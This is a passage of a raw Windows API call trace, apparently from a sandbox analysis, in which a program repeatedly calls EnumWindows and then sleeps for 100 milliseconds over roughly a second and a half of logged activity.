[0143.387] Sleep (dwMilliseconds=0x64) [0143.389] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.389] Sleep (dwMilliseconds=0x64) [0143.390] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.390] Sleep (dwMilliseconds=0x64) [0143.392] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.392] Sleep (dwMilliseconds=0x64) [0143.393] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.393] Sleep (dwMilliseconds=0x64) [0143.395] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.395] Sleep (dwMilliseconds=0x64) [0143.396] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.396] Sleep (dwMilliseconds=0x64) [0143.398] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.398] Sleep (dwMilliseconds=0x64) [0143.399] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.399] Sleep (dwMilliseconds=0x64) [0143.401] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.401] Sleep (dwMilliseconds=0x64) [0143.402] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.402] Sleep (dwMilliseconds=0x64) [0143.404] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.404] Sleep (dwMilliseconds=0x64) [0143.405] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.405] Sleep (dwMilliseconds=0x64) [0143.407] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.407] Sleep (dwMilliseconds=0x64) [0143.408] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.408] Sleep (dwMilliseconds=0x64) [0143.410] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.410] Sleep (dwMilliseconds=0x64) [0143.411] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.411] Sleep (dwMilliseconds=0x64) [0143.413] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.413] Sleep (dwMilliseconds=0x64) [0143.414] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.414] Sleep (dwMilliseconds=0x64) [0143.416] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.416] Sleep (dwMilliseconds=0x64) [0143.417] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.417] Sleep (dwMilliseconds=0x64) [0143.421] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.422] Sleep (dwMilliseconds=0x64) [0143.423] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.424] Sleep (dwMilliseconds=0x64) [0143.425] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.425] Sleep (dwMilliseconds=0x64) [0143.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.427] Sleep (dwMilliseconds=0x64) [0143.429] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.430] Sleep (dwMilliseconds=0x64) [0143.431] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.432] Sleep (dwMilliseconds=0x64) [0143.433] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.433] Sleep (dwMilliseconds=0x64) [0143.435] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.435] Sleep (dwMilliseconds=0x64) [0143.436] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.436] Sleep (dwMilliseconds=0x64) [0143.438] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.438] Sleep (dwMilliseconds=0x64) [0143.440] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.440] Sleep (dwMilliseconds=0x64) [0143.441] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.441] Sleep (dwMilliseconds=0x64) [0143.443] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.443] Sleep (dwMilliseconds=0x64) [0143.444] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.444] Sleep (dwMilliseconds=0x64) [0143.446] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.446] Sleep (dwMilliseconds=0x64) [0143.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.447] Sleep (dwMilliseconds=0x64) [0143.449] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.449] Sleep (dwMilliseconds=0x64) [0143.450] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.450] Sleep (dwMilliseconds=0x64) [0143.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.452] Sleep (dwMilliseconds=0x64) [0143.453] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.453] Sleep (dwMilliseconds=0x64) [0143.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.455] Sleep (dwMilliseconds=0x64) [0143.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.457] Sleep (dwMilliseconds=0x64) [0143.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.460] Sleep (dwMilliseconds=0x64) [0143.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.461] Sleep (dwMilliseconds=0x64) [0143.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.463] Sleep (dwMilliseconds=0x64) [0143.464] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.465] Sleep (dwMilliseconds=0x64) [0143.466] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.466] Sleep (dwMilliseconds=0x64) [0143.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.468] Sleep (dwMilliseconds=0x64) [0143.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.470] Sleep (dwMilliseconds=0x64) [0143.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.472] Sleep (dwMilliseconds=0x64) [0143.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.474] Sleep (dwMilliseconds=0x64) [0143.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.476] Sleep (dwMilliseconds=0x64) [0143.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.478] Sleep (dwMilliseconds=0x64) [0143.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.481] Sleep (dwMilliseconds=0x64) [0143.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.483] Sleep (dwMilliseconds=0x64) [0143.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.484] Sleep (dwMilliseconds=0x64) [0143.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.486] Sleep (dwMilliseconds=0x64) [0143.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.488] Sleep (dwMilliseconds=0x64) [0143.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.492] Sleep (dwMilliseconds=0x64) [0143.494] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.494] Sleep (dwMilliseconds=0x64) [0143.496] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.496] Sleep (dwMilliseconds=0x64) [0143.585] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.585] Sleep (dwMilliseconds=0x64) [0143.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.588] Sleep (dwMilliseconds=0x64) [0143.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.590] Sleep (dwMilliseconds=0x64) [0143.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.592] Sleep (dwMilliseconds=0x64) [0143.595] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.595] Sleep (dwMilliseconds=0x64) [0143.597] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.597] Sleep (dwMilliseconds=0x64) [0143.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.599] Sleep (dwMilliseconds=0x64) [0143.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.601] Sleep (dwMilliseconds=0x64) [0143.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.602] Sleep (dwMilliseconds=0x64) [0143.604] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.604] Sleep (dwMilliseconds=0x64) [0143.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.606] Sleep (dwMilliseconds=0x64) [0143.607] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.608] Sleep (dwMilliseconds=0x64) [0143.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.609] Sleep (dwMilliseconds=0x64) [0143.611] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.611] Sleep (dwMilliseconds=0x64) [0143.613] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.613] Sleep (dwMilliseconds=0x64) [0143.614] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.614] Sleep (dwMilliseconds=0x64) [0143.616] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.616] Sleep (dwMilliseconds=0x64) [0143.618] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.618] Sleep (dwMilliseconds=0x64) [0143.619] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.619] Sleep (dwMilliseconds=0x64) [0143.621] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.621] Sleep (dwMilliseconds=0x64) [0143.668] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.672] Sleep (dwMilliseconds=0x64) [0143.674] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.674] Sleep (dwMilliseconds=0x64) [0143.676] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.676] Sleep (dwMilliseconds=0x64) [0143.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.689] Sleep (dwMilliseconds=0x64) [0143.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.691] Sleep (dwMilliseconds=0x64) [0143.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.693] Sleep (dwMilliseconds=0x64) [0143.694] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.694] Sleep (dwMilliseconds=0x64) [0143.696] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.696] Sleep (dwMilliseconds=0x64) [0143.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.697] Sleep (dwMilliseconds=0x64) [0143.699] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.699] Sleep (dwMilliseconds=0x64) [0143.701] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.701] Sleep (dwMilliseconds=0x64) [0143.703] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.703] Sleep (dwMilliseconds=0x64) [0143.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.704] Sleep (dwMilliseconds=0x64) [0143.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.706] Sleep (dwMilliseconds=0x64) [0143.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.708] Sleep (dwMilliseconds=0x64) [0143.710] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.710] Sleep (dwMilliseconds=0x64) [0143.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.711] Sleep (dwMilliseconds=0x64) [0143.713] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.713] Sleep (dwMilliseconds=0x64) [0143.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.715] Sleep (dwMilliseconds=0x64) [0143.717] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.717] Sleep (dwMilliseconds=0x64) [0143.719] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.719] Sleep (dwMilliseconds=0x64) [0143.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.720] Sleep (dwMilliseconds=0x64) [0143.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.722] Sleep (dwMilliseconds=0x64) [0143.723] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.723] Sleep (dwMilliseconds=0x64) [0143.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.725] Sleep (dwMilliseconds=0x64) [0143.726] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.727] Sleep (dwMilliseconds=0x64) [0143.728] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.729] Sleep (dwMilliseconds=0x64) [0143.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.730] Sleep (dwMilliseconds=0x64) [0143.732] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.732] Sleep (dwMilliseconds=0x64) [0143.734] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.734] Sleep (dwMilliseconds=0x64) [0143.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.736] Sleep (dwMilliseconds=0x64) [0143.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.739] Sleep (dwMilliseconds=0x64) [0143.740] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.740] Sleep (dwMilliseconds=0x64) [0143.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.746] Sleep (dwMilliseconds=0x64) [0143.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.748] Sleep (dwMilliseconds=0x64) [0143.788] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.788] Sleep (dwMilliseconds=0x64) [0143.823] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.823] Sleep (dwMilliseconds=0x64) [0143.993] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0143.994] Sleep (dwMilliseconds=0x64) [0144.048] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.049] Sleep (dwMilliseconds=0x64) [0144.089] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.089] Sleep (dwMilliseconds=0x64) [0144.091] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.092] Sleep (dwMilliseconds=0x64) [0144.093] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.094] Sleep (dwMilliseconds=0x64) [0144.095] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.096] Sleep (dwMilliseconds=0x64) [0144.098] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.098] Sleep (dwMilliseconds=0x64) [0144.100] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.100] Sleep (dwMilliseconds=0x64) [0144.101] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.102] Sleep (dwMilliseconds=0x64) [0144.103] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.104] Sleep (dwMilliseconds=0x64) [0144.105] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.105] Sleep (dwMilliseconds=0x64) [0144.107] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.107] Sleep (dwMilliseconds=0x64) [0144.118] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.118] Sleep (dwMilliseconds=0x64) [0144.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.165] Sleep (dwMilliseconds=0x64) [0144.218] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.219] Sleep (dwMilliseconds=0x64) [0144.220] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.221] Sleep (dwMilliseconds=0x64) [0144.222] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.223] Sleep (dwMilliseconds=0x64) [0144.224] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.225] Sleep (dwMilliseconds=0x64) [0144.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.228] Sleep (dwMilliseconds=0x64) [0144.230] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.230] Sleep (dwMilliseconds=0x64) [0144.232] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.232] Sleep (dwMilliseconds=0x64) [0144.234] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.234] Sleep (dwMilliseconds=0x64) [0144.236] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.236] Sleep (dwMilliseconds=0x64) [0144.238] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.238] Sleep (dwMilliseconds=0x64) [0144.239] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.240] Sleep (dwMilliseconds=0x64) [0144.241] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.242] Sleep (dwMilliseconds=0x64) [0144.243] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.243] Sleep (dwMilliseconds=0x64) [0144.245] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.245] Sleep (dwMilliseconds=0x64) [0144.247] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.247] Sleep (dwMilliseconds=0x64) [0144.248] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.249] Sleep (dwMilliseconds=0x64) [0144.293] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.293] Sleep (dwMilliseconds=0x64) [0144.295] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.295] Sleep (dwMilliseconds=0x64) [0144.297] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.298] Sleep (dwMilliseconds=0x64) [0144.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.301] Sleep (dwMilliseconds=0x64) [0144.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.303] Sleep (dwMilliseconds=0x64) [0144.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.306] Sleep (dwMilliseconds=0x64) [0144.308] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.308] Sleep (dwMilliseconds=0x64) [0144.310] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.310] Sleep (dwMilliseconds=0x64) [0144.312] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.312] Sleep (dwMilliseconds=0x64) [0144.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.315] Sleep (dwMilliseconds=0x64) [0144.316] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.316] Sleep (dwMilliseconds=0x64) [0144.318] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.318] Sleep (dwMilliseconds=0x64) [0144.319] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.319] Sleep (dwMilliseconds=0x64) [0144.321] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.321] Sleep (dwMilliseconds=0x64) [0144.331] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.331] Sleep (dwMilliseconds=0x64) [0144.333] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.333] Sleep (dwMilliseconds=0x64) [0144.336] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.336] Sleep (dwMilliseconds=0x64) [0144.338] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.338] Sleep (dwMilliseconds=0x64) [0144.340] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.340] Sleep (dwMilliseconds=0x64) [0144.341] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.341] Sleep (dwMilliseconds=0x64) [0144.343] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.344] Sleep (dwMilliseconds=0x64) [0144.345] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.346] Sleep (dwMilliseconds=0x64) [0144.348] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.348] Sleep (dwMilliseconds=0x64) [0144.350] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.350] Sleep (dwMilliseconds=0x64) [0144.352] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.353] Sleep (dwMilliseconds=0x64) [0144.354] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.354] Sleep (dwMilliseconds=0x64) [0144.356] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.357] Sleep (dwMilliseconds=0x64) [0144.359] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.359] Sleep (dwMilliseconds=0x64) [0144.362] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.362] Sleep (dwMilliseconds=0x64) [0144.364] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.364] Sleep (dwMilliseconds=0x64) [0144.366] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.366] Sleep (dwMilliseconds=0x64) [0144.368] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.368] Sleep (dwMilliseconds=0x64) [0144.370] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.370] Sleep (dwMilliseconds=0x64) [0144.372] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.372] Sleep (dwMilliseconds=0x64) [0144.374] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.375] Sleep (dwMilliseconds=0x64) [0144.376] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.377] Sleep (dwMilliseconds=0x64) [0144.378] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.379] Sleep (dwMilliseconds=0x64) [0144.381] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.381] Sleep (dwMilliseconds=0x64) [0144.383] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.383] Sleep (dwMilliseconds=0x64) [0144.385] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.385] Sleep (dwMilliseconds=0x64) [0144.387] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.387] Sleep (dwMilliseconds=0x64) [0144.391] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.391] Sleep (dwMilliseconds=0x64) [0144.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.452] Sleep (dwMilliseconds=0x64) [0144.454] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.454] Sleep (dwMilliseconds=0x64) [0144.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.455] Sleep (dwMilliseconds=0x64) [0144.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.457] Sleep (dwMilliseconds=0x64) [0144.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.459] Sleep (dwMilliseconds=0x64) [0144.460] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.460] Sleep (dwMilliseconds=0x64) [0144.462] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.462] Sleep (dwMilliseconds=0x64) [0144.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.464] Sleep (dwMilliseconds=0x64) [0144.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.465] Sleep (dwMilliseconds=0x64) [0144.467] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.467] Sleep (dwMilliseconds=0x64) [0144.468] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.468] Sleep (dwMilliseconds=0x64) [0144.470] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.470] Sleep (dwMilliseconds=0x64) [0144.474] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.474] Sleep (dwMilliseconds=0x64) [0144.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.476] Sleep (dwMilliseconds=0x64) [0144.477] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.478] Sleep (dwMilliseconds=0x64) [0144.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.479] Sleep (dwMilliseconds=0x64) [0144.481] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.481] Sleep (dwMilliseconds=0x64) [0144.482] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.483] Sleep (dwMilliseconds=0x64) [0144.484] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.485] Sleep (dwMilliseconds=0x64) [0144.487] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.487] Sleep (dwMilliseconds=0x64) [0144.488] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.488] Sleep (dwMilliseconds=0x64) [0144.491] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.491] Sleep (dwMilliseconds=0x64) [0144.493] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.493] Sleep (dwMilliseconds=0x64) [0144.495] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.495] Sleep (dwMilliseconds=0x64) [0144.497] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.497] Sleep (dwMilliseconds=0x64) [0144.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.505] Sleep (dwMilliseconds=0x64) [0144.507] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.507] Sleep (dwMilliseconds=0x64) [0144.509] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.509] Sleep (dwMilliseconds=0x64) [0144.515] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.516] Sleep (dwMilliseconds=0x64) [0144.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.517] Sleep (dwMilliseconds=0x64) [0144.519] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.519] Sleep (dwMilliseconds=0x64) [0144.521] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.521] Sleep (dwMilliseconds=0x64) [0144.523] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.523] Sleep (dwMilliseconds=0x64) [0144.525] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.525] Sleep (dwMilliseconds=0x64) [0144.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.527] Sleep (dwMilliseconds=0x64) [0144.530] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.530] Sleep (dwMilliseconds=0x64) [0144.598] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.598] Sleep (dwMilliseconds=0x64) [0144.600] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.600] Sleep (dwMilliseconds=0x64) [0144.602] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.602] Sleep (dwMilliseconds=0x64) [0144.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.603] Sleep (dwMilliseconds=0x64) [0144.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.605] Sleep (dwMilliseconds=0x64) [0144.673] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.674] Sleep (dwMilliseconds=0x64) [0144.743] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.744] Sleep (dwMilliseconds=0x64) [0144.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.754] Sleep (dwMilliseconds=0x64) [0144.755] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.755] Sleep (dwMilliseconds=0x64) [0144.757] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.757] Sleep (dwMilliseconds=0x64) [0144.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0144.758] Sleep (dwMilliseconds=0x64) [0144.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) 